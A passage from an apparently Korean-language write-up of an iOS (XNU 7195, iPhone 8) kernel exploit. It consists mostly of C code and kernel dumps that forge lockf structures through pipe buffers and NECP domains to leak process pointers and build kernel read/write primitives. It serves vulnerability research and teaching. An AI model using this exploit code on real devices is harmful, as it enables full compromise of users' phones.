*control_fileproc_out)\n{\n    uint64_t insertion_payload[NECP_DOMAIN_PAYLOAD_SIZE \/ sizeof(uint64_t)] = {0};\n    uint8_t saved_payload[NECP_DOMAIN_PAYLOAD_SIZE];\n    uint8_t cleaned_payload[NECP_DOMAIN_PAYLOAD_SIZE];\n    uint64_t inserted_lock = 0;\n    uint64_t current_proc = 0;\n    uint64_t filedesc = 0;\n    uint64_t fd_ofiles = 0;\n    uint64_t control_fileproc = 0;\n    int discovery_errno = 0;\n\n    if (pipe_fds == NULL || control_fd &lt; 0 ||\n        current_proc_out == NULL || control_fileproc_out == NULL) {\n        errno = EINVAL;\n        return -1;\n    }\n\n    insertion_payload[1] = 300;\n    insertion_payload[2] = 304;\n\n    \/* Leave fake [300,304] queued while F_SETLK appends the real lock. *\/\n    if (write_exact_fd(pipe_fds[1], insertion_payload, sizeof(insertion_payload)) != 0 )\n        return -1;\n#if ENABLE_HELPER\n    printf(&quot;[%s:%d] pipe write occurred\\n&quot;, __FUNCTION__, __LINE__);\n    getchar();\n#endif\n<\/code><\/pre>\n<p>\ucee4\ub110 \ub364\ud504\ud55c \uacb0\uacfc\ub97c \uc0b4\ud3b4\ubcf4\uba74 \uc544\ub798\uc640 \uac19\ub2e4. \ud30c\uc774\ud504\ubc84\ud37c\ub85c \ub9cc\ub4e4\uc5b4\uc9c4 lockf\ub97c \u201cfake lockf E\u201d\ub85c \uba85\uba85\ud558\uaca0\ub2e4.<\/p>\n<p>\ubcf4\ub2e4\uc2dc\ud53c fake lockf E\uc5d0\ub294 <code>lf_start=300<\/code>, <code>lf_end=304<\/code>\ub85c \uc9c0\uc815\ub418\uc788\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw_1_1_1_1_1_1-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1-fs8.png\"><\/p>\n<p>\ub2e4\uc74c\uc73c\ub85c, fake lockf E\uc758 <code>lf_next<\/code>\ub97c \uac00\ub9ac\ud0a4\ub294 lockf\ub97c \ud558\ub098 \ub354 \uc0dd\uc131\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">#define PIPE_DISCOVERY_LOCK_START       ((off_t)400)\n#define PIPE_DISCOVERY_LOCK_LENGTH      ((off_t)1)\n\n    if (set_posix_lock(lock_fd, F_RDLCK, PIPE_DISCOVERY_LOCK_START, PIPE_DISCOVERY_LOCK_LENGTH) != 0)\n        return -1;\n#if ENABLE_HELPER\n    printf(&quot;[%s:%d] set_posix_lock occurred\\n&quot;, __FUNCTION__, __LINE__);\n    getchar();\n#endif\n<\/code><\/pre>\n<p>\ucee4\ub110 \ub364\ud504 \uacb0\uacfc, fake lockf E\uc758 <code>lf_next<\/code>\uc5d0\ub294 \uc0c8\ub85c \uc0dd\uc131\ub41c lockf\ub97c \uac00\ub9ac\ud0a8\ub2e4.<\/p>\n<p><code>lf_start=400<\/code>, <code>lf_end<\/code>=400\uc774\uba70 \u201clockf F\u201d\ub85c \uba85\uba85\ud558\uaca0\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw_1_1_1_1_1_1_1-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1-fs8.png\"><\/p>\n<p>\uadf8\ub9ac\uace0 fake lockf C\uc5d0\uc11c +0x30 \uc624\ud504\uc14b\uc5d0 \uc801\ud78c lf_next \ud3ec\uc778\ud130 \uc8fc\uc18c\uc778 \u201clockf F\u201d \uc8fc\uc18c\ub97c leak\uc2dc\ud0a8\ub2e4\u2026<\/p>\n<p>leak\uc2dc\ud0a8 \uac12\uc740 <code>insert_lock<\/code>\uc5d0 \uc9c0\uc815\ud558\uace0, \uac70\uae30\ub2e4 +0x18(<code>XNU7195_LOCKF_ID_OFFSET<\/code>)\uc744 \ub354\ud55c \uc8fc\uc18c\uac12\uc744 <code>kernel_read_pointer_via_pipe_backing<\/code>\uc73c\ub85c \ub2e4\uc2dc \uc77d\ub294\ub2e4.<\/p>\n<pre><code class=\"language-c\">#define XNU7195_LOCKF_ID_OFFSET         0x18ULL\n...\n    if (read_exact_fd(pipe_fds[0], saved_payload, sizeof(saved_payload)) != 0)\n        return -1;\n#if ENABLE_HELPER\n    printf(&quot;[%s:%d] pipe read occurred\\n&quot;, __FUNCTION__, __LINE__);\n    getchar();\n#endif\n\n    memcpy(&amp;inserted_lock, saved_payload + 0x30, sizeof(inserted_lock));\n    if (!looks_like_kernel_pointer(inserted_lock)) {\n        discovery_errno = EFAULT;\n    } else if (kernel_read_pointer_via_pipe_backing(\n            lock_fd,\n            pipe_fds,\n            inserted_lock + XNU7195_LOCKF_ID_OFFSET,\n            &amp;current_proc) != 0) {\n        discovery_errno = errno;\n    } else if (!looks_like_kernel_pointer(current_proc)) {\n        discovery_errno = EFAULT;\n    }\n<\/code><\/pre>\n<p><code>kernel_read_pointer_via_pipe_backing<\/code> \ub294 <code>kernel_read32_via_pipe_backing<\/code> \ud568\uc218\ub85c\ubd80\ud130 \uc77d\uc5b4\ub4e4\uc778 32\ube44\ud2b8 \uc0c1\uc704\/\ud558\uc704\uac12\uc744 \uc870\ud569\ud558\uc5ec \uc628\uc804\ud55c 64\ube44\ud2b8 \uac12\uc73c\ub85c \ub9cc\ub4e0\ub2e4.<\/p>\n<pre><code class=\"language-c\">int kernel_read_pointer_via_pipe_backing(int lock_fd, const int pipe_fds[2], uint64_t read_address, uint64_t *value_out)\n{\n    uint32_t low = 0;\n    uint32_t high = 0;\n    uint64_t value;\n\n    if (value_out == NULL) {\n        errno = EINVAL;\n        return -1;\n    }\n\n    if (kernel_read32_via_pipe_backing(lock_fd, pipe_fds, read_address, &amp;low) != 0\n        || kernel_read32_via_pipe_backing(lock_fd, pipe_fds, read_address + 4, &amp;high) != 0) {\n        return -1;\n    }\n\n    value = low | ((uint64_t)high &lt;&lt; 32);\n    *value_out = normalize_a12_xnu7195_pointer(value);\n    return 0;\n}\n<\/code><\/pre>\n<p><code>kernel_read32_via_pipe_backing<\/code> \uc5d0\uc11c \uc218\ud589\ub418\ub294 \uacfc\uc815\uc740 <code>kernel_read_pointer_via_socket<\/code> \uc640 \ud06c\uac8c \ub2e4\ub974\uc9c0 \uc54a\uc73c\uba70 \ube44\uc2b7\ud558\ub2e4. socket\uc744 \ud1b5\ud55c \ucee4\ub110 \uc77d\uae30\ub294 \ud560\ub2f9\ud574\uc81c \ud6c4 \ub2e4\uc2dc \ub611\uac19\uc740 \ud560\ub2f9\ud574\uc81c\ub418\uc5c8\ub358 \uc8fc\uc18c\ub85c \ud560\ub2f9\ubc1b\uc544\uc57c \uc815\ud655\ud788 \uc791\ub3d9\ub418\ub294 \ub9ac\uc2a4\ud06c\uac00 \uc788\ub294 \ubc18\uba74, \ud30c\uc774\ud504\ub294 \uadf8\ub7f0\uac70 \uc0c1\uad00\uc5c6\uc774 \ud56d\uc0c1 \uac19\uc740 \uacf3\uc5d0 \uc788\ub294 \ud30c\uc774\ud504 \ubc84\ud37c\ub97c \uc81c\uc5b4\ud558\uae30\uc5d0 \ub354 \uc548\uc815\uc801\uc774\ub2e4.<\/p>\n<p><code>make_pipe_lockf_payload<\/code> \ub97c \ud1b5\ud574 secondary readpipe\uac00 \uc81c\uc5b4\ub418\uba70, fake lockf E\uc758 <code>lf_start<\/code>\ub294 0x3333333333333333, <code>lf_end<\/code>\ub294 0x4444444444444444\ub85c \uc9c0\uc815\ub41c\ub2e4. \uadf8\ub9ac\uace0 \uc77d\ud790 \uc8fc\uc18c \ud0c0\uac9f\uc744 \uc9c0\uc815\ud558\uae30 \uc704\ud574 fake ockf E\uc758 <code>lf_owner<\/code> (+0x58 \uc624\ud504\uc14b) \ud544\ub4dc\uc5d0 \uc784\uc758 \ucee4\ub110 \uc8fc\uc18c\uac00 \uc368\uc9c8 \uac83\uc774\ub2e4.<\/p>\n<p>\uc774\ud6c4 <code>ofd_get_lock<\/code> \uc73c\ub85c fake lockf E\uc5d0 \uc801\ud78c <code>lf_owner<\/code> \uac12\uc744 \ucc38\uc870\ud558\uc5ec \ud2b9\uc815 \ucee4\ub110 \uc8fc\uc18c\ub85c\ubd80\ud130 \uac12\uc744 \uc77d\ud78c\ub2e4.<\/p>\n<pre><code class=\"language-c\">#define PIPE_LOCK_PROBE_QUERY_START     ((off_t)0x3333333333333333ULL)\n#define LOCK_PROBE_QUERY_LENGTH         ((off_t)5)\n\nvoid make_pipe_lockf_payload(\n    uint8_t payload[NECP_DOMAIN_PAYLOAD_SIZE],\n    uint64_t read_address)\n{\n    const uint64_t marker = 0x2222222222221111ULL;\n    const uint64_t fake_proc = read_address - XNU7195_PROC_PID_OFFSET;\n\n    memset(payload, 0, NECP_DOMAIN_PAYLOAD_SIZE);\n    memcpy(payload + 0x00, &amp;marker, sizeof(marker));\n    memcpy(payload + 0x08, &quot;33333333DDDDDDDDUUUUUUUUffffffffwwwwwwww&quot;, 40);\n\n    \/* The pipe backing is the fake lock base, so lf_owner is directly +0x58. *\/\n    memcpy(payload + 0x58, &amp;fake_proc, sizeof(fake_proc));\n}\n\nint ofd_get_lock(int fd, off_t start, off_t length, struct flock *lock_request)\n{    \n    *lock_request = (struct flock) {\n        .l_start = start,\n        .l_len = length,\n        .l_pid = 0,\n        .l_type = F_WRLCK,\n        .l_whence = SEEK_SET,\n    };\n\n    return fcntl(fd, F_OFD_GETLK, lock_request);\n}\n\n\/*\n * After socket0-&gt;lf_next is redirected to the pipe backing, reads must use\n * this direct fake lock instead of the now-disconnected socket1 fake lock.\n *\/\nint kernel_read32_via_pipe_backing(int lock_fd, const int pipe_fds[2], uint64_t read_address, uint32_t *value_out)\n{\n    uint8_t payload[NECP_DOMAIN_PAYLOAD_SIZE];\n    struct flock fl;\n\n    if (pipe_fds == NULL || value_out == NULL ||\n        read_address &lt; XNU7195_PROC_PID_OFFSET) {\n        errno = EINVAL;\n        return -1;\n    }\n\n    make_pipe_lockf_payload(payload, read_address);\n\n    \/* Drain the pipe; the bytes intentionally remain stale in its backing. *\/\n    if (write_exact_fd(pipe_fds[1], payload, sizeof(payload)) != 0 ||\n        read_exact_fd(pipe_fds[0], payload, sizeof(payload)) != 0) {\n        return -1;\n    }\n\n    if (ofd_get_lock(lock_fd, PIPE_LOCK_PROBE_QUERY_START, LOCK_PROBE_QUERY_LENGTH, &amp;fl) != 0) {\n        return -1;\n    }\n\n    if (fl.l_type == F_UNLCK) {\n        errno = ENOENT;\n        return -1;\n    }\n\n    *value_out = (uint32_t)fl.l_pid;\n    return 0;\n}\n<\/code><\/pre>\n<p>\ucee4\ub110 \ub364\ud504\ud574\ubcf4\uba74, \uc2e4\uc81c\ub85c \ud30c\uc774\ud504\uc5d0 \uc758\ud574 \uc81c\uc5b4\ub418\uba74\uc11c fake lockf E\uc5d0 <code>lf_start<\/code>, <code>lf_end<\/code>, \uadf8\ub9ac\uace0 <code>lf_owner<\/code> \ub4f1\uc5d0 \uc784\uc758\ub85c \uc9c0\uc815\ub41c \uc5ec\ub7ec \uac12\ub4e4\uc774 \uc368\uc838\uc788\ub2e4.<\/p>\n<p>\ud574\ub2f9 \uc0ac\uc9c4\uc5d0\uc11c\ub294, <code>lf_owner<\/code>\uc5d0 0xffffffe4cdaa3c70 \uac12\uc774 \uc368\uc838\uc788\uc73c\uba70, <code>ofd_get_lock<\/code> \uc774 \uc218\ud589\ub418\uba74\uc11c \uc2e4\uc81c\ub85c\ub294 +0x68\uac12\uc774 \ub354\ud574\uc9c4 0xffffffe4cdaa3cd8 \uc8fc\uc18c\ub85c\ubd80\ud130 \uac12\uc744 \uc77d\uc73c\ub824\uace0 \uc2dc\ub3c4\ud560 \uac83\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw_1_1_1_1_1_1_1_1-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1 1-fs8.png\"><\/p>\n<p>\ub530\ub77c\uc11c \u201clockf F\u201d\uc758 <code>lf_id<\/code> \ud544\ub4dc\uac12, 0xffffffe19f7314f0\uc774 leak\ub41c\ub2e4\uace0 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">iPhone-8--1442:~ root# khexdump 0xffffffe4cdaa3cc0\ntfp0: 0x1303\nget_kbase ret: 0, kbase: 0xfffffff018578000\n0xffffffe4cdaa3cc0: 0x0000000000010040 0x0000000000000190\n0xffffffe4cdaa3cd0: 0x0000000000000190 0xffffffe19f7314f0 &lt;- READ PONTER IS HERE!!!\n0xffffffe4cdaa3ce0: 0xffffffe19ce8ffc0 0xffffffe19ce8fef8\n0xffffffe4cdaa3cf0: 0x0000000000000000 0x0000000000000000\n0xffffffe4cdaa3d00: 0xffffffe4cdaa3cf8 0x0000000000000000\n0xffffffe4cdaa3d10: 0x0000000000000000 0xffffffe19f7314f0\n0xffffffe4cdaa3d20: 0x0000000000000000 0x0000000000000000\n<\/code><\/pre>\n<pre><code class=\"language-c\">(lldb) p\/x offsetof(lockf, lf_id)\n(unsigned long) 0x0000000000000018\n<\/code><\/pre>\n<p>\uadf8\ub807\ub2e4\uba74 <code>lf_id<\/code>\ub294 \uc2e4\uc81c\ub85c \ubb34\uc2a8 \uac12\uc77c\uae4c?, <code>lf_advlock<\/code> \uc5d0\uc11c \uac70\uc2ac\ub7ec \uc62c\ub77c\uac00 <code>VNOP_ADVLOCK<\/code>, <code>sys_fcntl_nocancel<\/code> \u2026<\/p>\n<p><code>sys_fcntl_nocancel<\/code> \uc5d0\uc11c <code>VNOP_ADVLOCK<\/code>\uc744 \ud638\ucd9c\ud560\ub54c \ub450\ubc88\uc9f8 \uc778\uc790\uc5d0 <code>p<\/code>, \uc989 <code>selfproc<\/code> \ud3ec\uc778\ud130 \uc8fc\uc18c\uac00 \ub4e4\uc5b4\uac00\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4. <code>F_OFD_SETLK<\/code>\uc774 \uc544\ub2c8\ub77c <code>F_SETLK<\/code>\ub85c <code>[lf_start=400, lf_end=400]<\/code> lock\uc744 \ub9cc\ub4e4\uc5c8\uae30 \ub54c\ubb38\uc5d0 \uadf8\ub807\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ xnu-7195.50.7.100.1\/bsd\/kern\/kern_descrip.c:974\nint\nsys_fcntl_nocancel(proc_t p, struct fcntl_nocancel_args *uap, int32_t *retval)\n{\n  \/\/...\n  \/\/ xnu-7195.50.7.100.1\/bsd\/kern\/kern_descrip.c:1230\n  case F_SETLK:\n  case F_OFD_SETLK:\n    \/\/ ...\n    \/\/ xnu-7195.50.7.100.1\/bsd\/kern\/kern_descrip.c:1280\n    switch (uap-&gt;cmd) {\n    case F_OFD_SETLK:\n    case F_OFD_SETLKW:\n    case F_OFD_SETLKWTIMEOUT:\n      \/\/ xnu-7195.50.7.100.1\/bsd\/kern\/kern_descrip.c:1284\n      \/\/ ...\n      break;\n    \/\/ xnu-7195.50.7.100.1\/bsd\/kern\/kern_descrip.c:1326\n    default:\n      flg |= F_POSIX;\n      switch (fl.l_type) {\n      case F_RDLCK:\n        if ((fflag &amp; FREAD) == 0) {\n          error = EBADF;\n          break;\n        }\n        \/\/ XXX UInt32 unsafe for LP64 kernel\n        os_atomic_or(&amp;p-&gt;p_ladvflag, P_LADVLOCK, relaxed);\n        error = VNOP_ADVLOCK(vp, (caddr_t)p,\n            F_SETLK, &amp;fl, flg, &amp;context, timeout);\n        break;\n  \/\/...\n}\n\n\/\/ xnu-7195.50.7.100.1\/bsd\/vfs\/kpi_vfs.c:5409\nerrno_t\nVNOP_ADVLOCK(struct vnode *vp, caddr_t id, int op, struct flock *fl, int flags, vfs_context_t ctx, struct timespec *timeout)\n{\n  \/\/ ...\n  \/* Disallow advisory locking on non-seekable vnodes *\/\n  if (vnode_isfifo(vp)) {\n    _err = err_advlock(&amp;a);\n  } else {\n    if ((vp-&gt;v_flag &amp; VLOCKLOCAL)) {\n      \/* Advisory locking done at this layer *\/\n      _err = lf_advlock(&amp;a);\n\n\/\/ xnu-7195.50.7.100.1\/bsd\/kern\/kern_lockf.c:190\nint\nlf_advlock(struct vnop_advlock_args *ap)\n{\n\/\/ ...\n\/\/ xnu-7195.50.7.100.1\/bsd\/kern\/kern_lockf.c:292\n  lock-&gt;lf_start = start;\n  lock-&gt;lf_end = end;\n  lock-&gt;lf_id = ap-&gt;a_id;\n\/\/ ...\n}\n<\/code><\/pre>\n<p>\uc774\ub807\uac8c \uc9c0\uae08\uae4c\uc9c0 <code>selfproc<\/code>\uc744 \ucc3e\uc544\ubcf4\uc558\ub2e4.<\/p>\n<p>\uadf8 \ub2e4\uc74c\uc73c\ub85c\ub294 \ud30c\uc774\ud504\ub97c \ub2e4\uc2dc \ud55c\ubc88 \uc81c\uc5b4\ud558\uc5ec \uc6d0\ubcf8 \ub370\uc774\ud130\ub85c \ubcf5\uc6d0\ud6c4, set_posix_lock(lock_fd, <strong><code>F_UNLCK<\/code><\/strong>, \u2026)\uc744 \ud638\ucd9c\ud558\uc5ec \uc0dd\uc131\ub418\uc5c8\ub358 lockf F\ub97c \ud560\ub2f9\ud574\uc81c\uc2dc\ud0a8\ub2e4.<\/p>\n<pre><code class=\"language-c\">#define PIPE_DISCOVERY_LOCK_START       ((off_t)400)\n#define PIPE_DISCOVERY_LOCK_LENGTH      ((off_t)1)\n\n...\n    \/* Pipe reads overwrote fake-&gt;lf_next; restore it before POSIX F_UNLCK. *\/\n    if (write_exact_fd(pipe_fds[1], saved_payload, sizeof(saved_payload)) != 0)\n        return -1;\n#if ENABLE_HELPER\n    printf(&quot;[%s:%d] pipe write occurred\\n&quot;, __FUNCTION__, __LINE__);\n    \/\/ getchar();\n#endif\n\n    if (set_posix_lock(lock_fd, F_UNLCK, PIPE_DISCOVERY_LOCK_START, PIPE_DISCOVERY_LOCK_LENGTH) != 0)\n        return -1;\n#if ENABLE_HELPER\n    printf(&quot;[%s:%d] set_posix_lock occurred\\n&quot;, __FUNCTION__, __LINE__);\n    \/\/ getchar();\n#endif\n\n    if (read_exact_fd(pipe_fds[0], cleaned_payload, sizeof(cleaned_payload)) != 0)\n        return -1;\n#if ENABLE_HELPER\n    printf(&quot;[%s:%d] pipe read occurred\\n&quot;, __FUNCTION__, __LINE__);\n    \/\/ getchar();\n#endif\n...\n<\/code><\/pre>\n<p>\ubcf4\ub2e4\uc2dc\ud53c \uc2e4\ud589 \uacb0\uacfc,\n\ucee4\ub110 \ub364\ud504 \ub0b4\uc6a9\uc5d0\uc11c lockf F\ub294 \ucee4\ub110 \ud560\ub2f9\ud574\uc81c\ub418\uc5b4 \ub370\uc774\ud130\uac00 0\uc73c\ub85c \ucc44\uc6cc\uc84c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw_1_1_1_1_1_1_1_2-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1 2-fs8.png\"><\/p>\n<p>\uc774\ud6c4\ub85c\ub294 lockf F\uac00 \uc81c\ub300\ub85c \ud560\ub2f9\ud574\uc81c\ub418\uc5c8\ub294\uc9c0 0\uc778\uc9c0 \uccb4\ud06c\ud558\uace0,\n\ud68d\ub4dd\ud55c selfproc\uc5d0\uc11c \ud544\ub4dc\uc5d0 \ucc28\ub840\ub300\ub85c \uc811\uadfc\ud558\uc5ec <code>socket_fd[2]<\/code>\uc5d0 \ud574\ub2f9\ub418\ub294 <code>fileproc<\/code> \uc8fc\uc18c\ub97c \uac00\uc838\uc628\ub2e4.<\/p>\n<p>\uc544\ub798 \ucf54\ub4dc\uc640 \ube44\uc2b7\ud558\uac8c \uc811\uadfc\ud558\uac8c \uc8fc\uc18c\ub97c \uac00\uc838\uc62c \uc218 \uc788\ub2e4.<\/p>\n<p><code>filedesc = kernel_read64(PROC + 0xf8); fd_ofiles = kernel_read64(filedesc); CFP = kernel_read64(fd_ofiles + control_fd * 8);<\/code><\/p>\n<pre><code class=\"language-c\">memcpy(&amp;inserted_lock, cleaned_payload + 0x30, sizeof(inserted_lock));\n    if (inserted_lock != 0) {\n        errno = EFAULT;\n        return -1;\n    }\n\n    if (discovery_errno != 0) {\n        errno = discovery_errno;\n        return -1;\n    }\n\n    if (kernel_read_pointer_via_pipe_backing(\n            lock_fd,\n            pipe_fds,\n            current_proc + XNU7195_PROC_FD_OFFSET,\n            &amp;filedesc) != 0) {\n        return -1;\n    }\n    if (!looks_like_kernel_pointer(filedesc)) {\n        errno = EFAULT;\n        return -1;\n    }\n\n    if (kernel_read_pointer_via_pipe_backing(\n            lock_fd, pipe_fds, filedesc, &amp;fd_ofiles) != 0) {\n        return -1;\n    }\n    if (!looks_like_kernel_pointer(fd_ofiles)) {\n        errno = EFAULT;\n        return -1;\n    }\n\n    if (kernel_read_pointer_via_pipe_backing(\n            lock_fd,\n            pipe_fds,\n            fd_ofiles + (uint64_t)control_fd * XNU7195_POINTER_SIZE,\n            &amp;control_fileproc) != 0) {\n        return -1;\n    }\n    if (!looks_like_kernel_pointer(control_fileproc)) {\n        errno = EFAULT;\n        return -1;\n    }\n\n    *current_proc_out = current_proc;\n    *control_fileproc_out = control_fileproc;\n    return 0;\n}\n<\/code><\/pre>\n<h3>11. \ud30c\uc774\ud504 \ubc84\ud37c\uc5d0 fake kern_iovec \ubbf8\ub9ac \uc2ec\uae30<\/h3>\n<p>\ud30c\uc774\ud504\uc5d0 \uc758\ud574 \uc81c\uc5b4\ub418\ub294 fake lockf E\uc5d0\ub294 \ub2e4\uc74c\uacfc \uac19\uc774 \ub370\uc774\ud130\uac00 \uc368\uc9c4\ub2e4.<\/p>\n<p>+0x0: \uc774\uc804\uc5d0 \uad6c\ud588\ub358 fileproc\uc5d0 +0x10\uc744 \ub354\ud55c \uac12 (+0x10\uc740 fileproc\uc758 fp_glob \uc624\ud504\uc14b)<\/p>\n<p><code>(lldb) p\/x offsetof(fileproc, fp_glob) (unsigned long) 0x0000000000000010<\/code><\/p>\n<p>+0x8: 0x8 (XNU7195_POINTER_SIZE)<\/p>\n<pre><code class=\"language-c\">#define XNU7195_FILEPROC_GLOB_OFFSET    0x10ULL\n#define XNU7195_POINTER_SIZE            8ULL\n\n...\n\n    \/\/ 9. PB\uc5d0 fake kern_iovec \ubbf8\ub9ac \uc2ec\uae30\n    if (prime_pipe_backing_kern_iovec(\n            pipe_fd_2,\n            control_fileproc_kptr + XNU7195_FILEPROC_GLOB_OFFSET) != 0) {\n        printf(&quot;[-] failed to prime PB kern_iovec: %s(%d)\\n&quot;,\n            strerror(errno), errno);\n        return -1;\n    }\n    \n ...\n \n \/* Leave one kernel-space iovec in the empty secondary pipe backing. *\/\nint prime_pipe_backing_kern_iovec(\n    const int pipe_fds[2],\n    uint64_t target)\n{\n    uint64_t kern_iovec[2] = {\n        target,\n        XNU7195_POINTER_SIZE,\n    };\n\n    return write_exact_fd(pipe_fds[1], kern_iovec, sizeof(kern_iovec)) != 0 ||\n        read_exact_fd(pipe_fds[0], kern_iovec, sizeof(kern_iovec)) != 0\n        ? -1 : 0;\n}\n<\/code><\/pre>\n<p>\ucee4\ub110 \ub364\ud504 \ub0b4\uc6a9\uc740 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw_1_1_1_1_1_1_1_2_1-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1 2 1-fs8.png\"><\/p>\n<h3>12. write64_with_fake_uio \/ \ucee4\ub110 R\/W \uad6c\ucd95<\/h3>\n<p><code>write64_with_fake_uio<\/code> \ud568\uc218\ub97c \ubd80\ubd84\uc801\uc73c\ub85c \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p>\uc6b0\uc120 socket0\uc73c\ub85c \uc81c\uc5b4\ub418\ub294 fake lockf C\uc5d0\uc11c <code>lf_start<\/code>=30, <code>lf_end<\/code>=34, \uadf8\ub9ac\uace0 <code>lf_id<\/code>\ub97c  <code>lock_fileglob<\/code>\uc73c\ub85c \uad6c\uc131\ud558\uac8c\ub054 \ub9cc\ub4e0\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c <code>lock_fileglob<\/code>\uc740 <code>fileglob_kptr<\/code> \uc774\uba70, \ucc98\uc74c\uc5d0 <code>fileport_makeport(urandom_fd, &amp;fileport_name);<\/code> \ucf54\ub4dc\uc5d0 \uc758\ud574 <code>urandom_fd<\/code>\uc5d0 \ub300\ud55c \ud30c\uc77c \ud3ec\ud2b8\ub97c \ub9cc\ub4e4\uace0 \ub09c \ub4a4\uc5d0 leak\uc2dc\ucf30\ub358 <code>fileglob<\/code> \ud3ec\uc778\ud130 \ucee4\ub110 \uc8fc\uc18c\uc774\ub2e4. \uc989, urandom_fd\uc758 fileglob\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/*\n * Reclaim the blocked writer's 0x58 uio with socket0, then reverse uiomove()\n * so the stale primary-pipe bytes are copied to the staged kern_iovec.\n *\/\nint write64_with_fake_uio(\n    int lock_fd,\n    int socket0,\n    const int primary_pipe_fds[2],\n    void *primary_pipe_buffer,\n    size_t primary_pipe_size,\n    uint64_t lock_fileglob,\n    uint64_t secondary_pipe_backing,\n    uint64_t value)\n{\n    uint64_t fake_lock[NECP_DOMAIN_PAYLOAD_SIZE \/ sizeof(uint64_t)] = {0};\n    \/\/...\n    struct fake_uio_writer_context context = {\n        .lock_fd = lock_fd,\n        .pipe_write_fd = primary_pipe_fds[1],\n        .result_errno = 0,\n    };\n    pthread_t writer;\n    uint64_t drained = 0;\n    int pthread_status;\n\n    if (primary_pipe_buffer == NULL || primary_pipe_size == 0x0) {\n        errno = EINVAL;\n        return -1;\n    }\n\n    \/* Existing dangling lock C becomes [30,34] with the correct OFD id. *\/\n    fake_lock[1] = 30;\n    fake_lock[2] = 34;\n    fake_lock[3] = lock_fileglob;\n    if (clear_necp_domain(socket0) != 0 ||\n        allocate_necp_domain(socket0, (const uint8_t *)fake_lock) != 0) {\n        return -1;\n    }\n#if ENABLE_HELPER\n    printf(&quot;[%s:%d] Existing dangling lock C becomes [30,34] with the correct OFD id ... \\n&quot;, __FUNCTION__, __LINE__);\n    getchar();\n#endif\n\n<\/code><\/pre>\n<p>\ucee4\ub110 \ub364\ud504 \uacb0\uacfc:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/NoCVE-CorunaPEPendulum\/attachment\/Drawing_2026-07-30_12.55.05.excalidraw_1_1_1_1_1_1_1_2_1_1-fs8.png\" alt=\"Drawing 2026-07-30 12.55.05.excalidraw 1 1 1 1 1 1 1 2 1 1-fs8.png\"><\/p>\n<p>primary pipe\uc5d0 0x10000\ud06c\uae30\ub9cc\ud07c \ub370\uc774\ud130\ub97c \uc4f0\ub294\ub370, \uc774\ub54c \uccab 8\ubc14\uc774\ud2b8\ub294 secondary pipe\uc758 <code>pipe_buffer.buffer<\/code> \ucee4\ub110 \uc8fc\uc18c\uac00 \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n<pre><code class=\"language-c\">    memset(primary_pipe_buffer, 0, primary_pipe_size);\n    memcpy(primary_pipe_buffer, &amp;value, sizeof(value));\n    if (write_exact_fd(\n            primary_pipe_fds[1],\n            primary_pipe_buffer,\n            primary_pipe_size) != 0) {\n        return -1;\n    }\n#if ENABLE_HELPER\n    printf(&quot;[%s:%d] write_exact_fd called ... \\n&quot;, __FUNCTION__, __LINE__);\n    uint64_t primary_pipe_pbuffer_kaddr = obtain_pipes_kaddr(primary_pipe_fds[0]);\n    printf(&quot;[%s:%d] primary_pipe_pbuffer_kaddr = 0x%llX\\n&quot;, __FUNCTION__, __LINE__, primary_pipe_pbuffer_kaddr);\n    getchar();\n#endif\n<\/code><\/pre>\n<p>\uc2e4\ud589 \uacb0\uacfc \/ \ucee4\ub110 \ub364\ud504 \uacb0\uacfc:<\/p>\n<pre><code class=\"language-c\">[RUNNING RESULT]\n[STAGE3] i=31 name=0x5003 port=0xFFFFFFE19F828888 ikmq_base=0xFFFFFFE19F828888 receiver_name=0x9F828888 msgcount=0 qlimit=0x400 qcontext=0x0 receiver=0xFFFFFFE19E63E5F8\n[i] Leaked readpipe_ipc_port kptr = 0xFFFFFFE19D066AA8\n[STAGE 5] did allocated necp domain well?\n[STAGE 5] domain_kaddr = 0xFFFFFFE4CDF525E0\n[prepare_socket_lockf_pair:484] socket1_domain_kaddr = 0xFFFFFFE4CDF31680\n[prepare_socket_lockf_pair:527] Free B ...\n[0xffffffe4cdf525e0+0x000] 11 11 22 22 22 22 22 22  33 33 33 33 33 33 33 33  |  ..&quot;&quot;&quot;&quot;&quot;&quot;33333333\n[0xffffffe4cdf525e0+0x010] 44 44 44 44 44 44 44 44  55 55 55 55 55 55 